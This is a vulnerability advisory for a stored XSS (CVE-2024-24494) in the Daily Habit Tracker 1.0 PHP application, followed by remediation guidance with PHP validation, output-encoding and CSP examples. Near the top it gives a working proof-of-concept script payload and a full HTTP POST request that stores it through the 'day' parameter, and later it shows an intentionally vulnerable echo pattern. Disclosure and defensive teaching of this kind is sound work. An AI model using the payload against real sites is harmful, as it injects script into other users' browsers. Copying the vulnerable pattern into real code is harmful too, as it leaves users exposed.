Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS)

Exploit Author: Yevhenii Butenko Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-02
# Exploit Title: Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24494

### Stored Cross-Site Scripting (XSS):

> Stored Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious scripts into a web application's database. The malicious script is saved on the server and later rendered in other users' browsers. When other users access the affected page, the stored script executes, potentially stealing data or compromising user security.

### Affected Components:

> add-tracker.php, update-tracker.php

Vulnerable parameters: 
- day 
- exercise 
- pray 
- read_book 
- vitamins 
- laundry 
- alcohol 
- meat

### Description:

> Multiple parameters within `Add Tracker` and `Update Tracker` requests are vulnerable to Stored Cross-Site Scripting. The application failed to sanitize user input while storing it to the database and reflecting back on the page.

## Proof of Concept:

The following payload `<script>alert('STORED_XSS')</script>` can be used in order to exploit the vulnerability.

Below is an example of a request demonstrating how a malicious payload can be stored within the `day` value:

```
POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/habit-tracker/home.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

date=1992-01-12&day=Tuesday%3Cscript%3Ealert%28%27STORED_XSS%27%29%3C%2Fscript%3E&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes
```

![XSS Fired](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/xss.png?raw=true)

## Recommendations

When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.


Daily Habit Tracker 1.0 — Stored Cross‑Site Scripting (XSS): Overview and Remediation

Stored Cross‑Site Scripting (XSS) occurs when an application stores attacker-controlled data and later renders it in a web page without proper encoding or validation. In the Daily Habit Tracker 1.0 application this class of vulnerability was reported in the server endpoints that accept tracker entries (for example, add/update tracker flows). Unsanitized form values stored in the database can be displayed later to users and executed inside their browsers, resulting in account takeover, session theft, or client‑side compromise.

Why this matters

  • Stored XSS is persistent: a malicious payload saved once can affect every user who views the page.
  • Impact ranges from cookie theft and request forgery to full browser compromise depending on the browser and page privileges.
  • Mitigation requires both input validation and output encoding — one without the other is brittle.

How stored XSS commonly happens (high level)

  • Application accepts free‑form input from a form (dates, labels, short text fields, boolean flags) and inserts values into a database without validating type or content.
  • Later, the application echoes those stored values into HTML pages (for display in tables, lists, or forms) without proper output encoding.
  • When a user loads that page, the browser interprets embedded script content and executes it.

Principles for remediation

  • Never trust client input. Use strict server‑side validation and whitelisting for expected values.
  • Always encode user content at the moment it enters the HTML document (output encoding), using context‑appropriate functions for HTML, attributes, JavaScript, or URI contexts.
  • Use prepared statements for database operations (to separate data from query syntax) — while not a direct XSS control, it reduces overall attack surface.
  • Apply defense‑in‑depth: Content Security Policy (CSP), secure cookie attributes, and reduced privilege pages make exploitation harder.

Concrete server‑side fixes (PHP examples)

1) Problem pattern (illustrative)

<?php
// Vulnerable pattern: directly using POST values and echoing later
$day = $_POST['day'];
// Insert into DB (no validation/encoding)
// ...
// Later in HTML:
echo $row['day']; // direct output without encoding
?>

Explanation: This snippet shows the risky pattern — user input is accepted and later printed directly into a page. Printing untrusted content without output encoding can lead to stored XSS.

2) Server‑side validation and safe storage (improved example)

<?php
// Example: safe handling for add-tracker.php using PDO and validation
function get_post($key){ return isset($_POST[$key]) ? trim($_POST[$key]) : ''; }

// Validate date (YYYY-MM-DD)
$dateRaw = get_post('date');
$dateObj = DateTime::createFromFormat('Y-m-d', $dateRaw);
if (!$dateObj || $dateObj->format('Y-m-d') !== $dateRaw) {
    http_response_code(400);
    exit('Invalid date');
}

// Whitelist expected boolean values for habit flags
$allowedFlags = ['Yes','No'];
$exercise = in_array(get_post('exercise'), $allowedFlags, true) ? get_post('exercise') : 'No';
$pray     = in_array(get_post('pray'), $allowedFlags, true) ? get_post('pray') : 'No';

// For short free text (e.g., `day`) trim length and normalize
$day = mb_substr(get_post('day'), 0, 100); // enforce max length

// Store using prepared statements (PDO)
$pdo = new PDO($dsn, $dbUser, $dbPass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$stmt = $pdo->prepare('INSERT INTO trackers (date, day, exercise, pray) VALUES (?, ?, ?, ?)');
$stmt->execute([$dateObj->format('Y-m-d'), $day, $exercise, $pray]);
?>

Explanation: Inputs are validated and normalized before storage. Dates are checked with DateTime; boolean-like fields are whitelisted; free text is trimmed and limited in length. Data is stored with a prepared statement to avoid query injection and to keep data distinct from SQL logic.

3) Safe output encoding when rendering

<?php
// Helper for HTML context encoding
function e($s){ return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }

// When rendering a table or form fields:
echo '<td>' . e($row['day']) . '</td>';
echo '<input type="text" name="day" value="' . e($row['day']) . '" />';
?>

Explanation: htmlspecialchars encodes characters that have special meaning in HTML (such as <, >, and quotes). Use this (or framework-equivalent templating with automatic escaping) whenever inserting untrusted data into HTML.

Additional hardening measures

  • Content Security Policy (CSP): add a restrictive CSP to reduce the effect of any injected script. Example header:
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
    Explanation: CSP helps mitigate the impact of injected scripts by restricting which sources are permitted to run scripts. Use nonce-based policies for inline scripts if absolutely required.
  • HTTP headers: Set secure cookie flags (HttpOnly, Secure, SameSite=Strict/Lax) so JavaScript has limited access to session cookies.
  • Principle of least privilege: pages that display user content should not run with elevated privileges or perform sensitive actions automatically.
  • Client‑side controls: client constraints (e.g., input masks) are convenient but never replace server validation.
  • Use framework features: modern templating engines and frameworks often provide automatic output escaping — prefer them over manual string concatenation.

Testing and verification

  • After applying fixes, perform manual review of all pages that render user-controlled content and confirm output is encoded in the correct context (HTML body, attribute, JS, URL).
  • Use automated scanners and dynamic application security testing (DAST) tools to detect stored XSS cases, but follow up manually — DAST can miss context-specific encoding errors.
  • Write unit/integration tests that render sample stored values containing special characters and assert the response contains properly escaped output.

Operational recommendations

  • Roll out fixes to add/update endpoints and any other code path accepting user text.
  • Notify users if stored malicious content was present and remove any known injected entries from the database.
  • Adopt secure coding guidelines and code reviews focused on output encoding and input validation.
  • Monitor logs for suspicious inputs and unusual account activity.

Summary

Stored XSS in a habit-tracking application is a serious issue because data saved once can affect many users. The correct defense is layered: validate and normalize inputs at the server, always encode before outputting into HTML, use a CSP to reduce impact, and apply secure headers and cookie flags. Use prepared statements for database interactions and adopt framework-supported escaping where available. These steps not only eliminate stored XSS but also raise the baseline security of the application.